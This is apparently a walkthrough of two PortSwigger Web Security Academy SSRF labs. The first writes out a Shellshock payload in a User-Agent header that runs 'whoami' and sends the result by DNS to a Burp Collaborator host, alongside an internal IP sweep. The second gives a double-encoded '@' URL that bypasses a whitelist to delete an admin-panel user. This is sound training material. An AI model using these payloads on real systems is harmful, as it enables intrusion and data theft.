Server-side request forgery (SSRF)
PortSwigger Web Security Academy · Expert
- #SSRF

Blind SSRF with Shellshock Exploitation
The vulnerability
The analytics software opens the URL in the Referer header. With that you reach a server in the internal network that is still vulnerable to Shellshock. It runs your command and sends you the result in a DNS request.
Fix: Install updates on internal servers too, and don’t open URLs from a header.
The lab
This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.
To solve the lab, use this functionality to perform a blind SSRF attack against an internal server in the
192.168.0.Xrange on port8080. In the blind attack, use a Shellshock payload against the internal server to exfiltrate the name of the OS user.Note
To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator’s default public server.
Solution
1. Generate a Collaborator Payload: Open the Burp Collaborator client and copy its unique URL. This will be used to exfiltrate data.
2. Verify SSRF on Referer Header: Use an extension like "Collaborator Everywhere" or manually check the Referer header to confirm that the application makes an OOB request to the domain specified, as shown in the lab screenshot.

3. Prepare the Intruder Attack: Go to a product page and intercept the GET /product?productId=1 request. Send it to Burp Intruder.
- Positions: In the
Positionstab, set theRefererheader tohttp://192.168.0.§0§:8080/. Mark only the0in the IP address as a payload position. - Payloads: In the
Payloadstab, configure the payload type asNumbers, with a range from1to255and a step of1.

- Headers: Modify the
User-Agentheader to include the Shellshock payload, which will execute thewhoamicommand and exfiltrate the result via DNS lookup. ReplaceCOLLABORATOR_URLwith your unique Collaborator URL.
GET /product?productId=1 HTTP/2
Host: 0a3b00cc034299ce80596cab003d0015.web-security-academy.net
Cookie: session=w3aEtVcV3XothyhAC58XAVwSeVTM9QBp
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).COLLABORATOR_URL
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://192.168.0.§0§:8080/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers Cache-Control: no-transform
4. Launch Attack and Retrieve Username: Start the Intruder attack. After a few seconds, go back to the Burp Collaborator client and click “Pull now.” You will see an incoming DNS query with a subdomain that corresponds to the output of the whoami command (e.g., web-security-academy-user.YOUR_COLLABORATOR_URL).

5. Submit Solution: The subdomain web-security-academy-user is the username. Submit this username to the lab to solve it.
SSRF with Whitelist-Based Input Filter
The vulnerability
Only stock.weliketoshop.net is allowed. With an @ and a double-encoded #, the check sees that host, but the request goes to localhost.
Fix: Use the same URL parser for the check and for the request.
The lab
This lab has a stock check feature which fetches data from an internal system.
To solve the lab, change the stock check URL to access the admin interface at
http://localhost/adminand delete the user carlos.The developer has deployed an anti-SSRF defense you will need to bypass.
Solution
- Intercept the Stock Check Request: On a product detail page, click “Check stock.” In Burp Suite’s
Proxy → HTTP history, find thePOST /product/stockrequest and Send to Repeater. - Test the SSRF Filter: In Repeater, change the
stockApiURL tohttp://127.0.0.1. TheHTTP/2 400 Bad Requestresponse with an error message confirms a filter is in place, requiring the hostname to bestock.weliketoshop.net. - Test for URL Parsing Bypass: Try injecting a username into the URL (e.g.,
http://username@stock.weliketoshop.net/). A500 Internal Server Errorindicates that the URL is being parsed and theusernameis being interpreted as a host. - Bypass the Whitelist with a URL-Encoded Pound Sign: Try to trick the parser into sending the request to the IP address in the username. Use a URL-encoded pound sign (
%2523, which is a double URL-encode of#) to comment out the rest of the hostname. Change thestockApiURL tohttp://127.0.0.1%2523@stock.weliketoshop.net/. The127.0.0.1will be interpreted as the hostname to connect to, while the rest of the URL is ignored. AnHTTP/2 200 OKresponse confirms the bypass and access to the local server. - Delete the Target User: To access the admin panel and delete the user, change the
stockApiURL tohttp://127.0.0.1%2523@stock.weliketoshop.net/admin/delete?username=carlos. TheHTTP/2 302 Foundresponse indicates that the usercarloshas been deleted, and the lab is solved.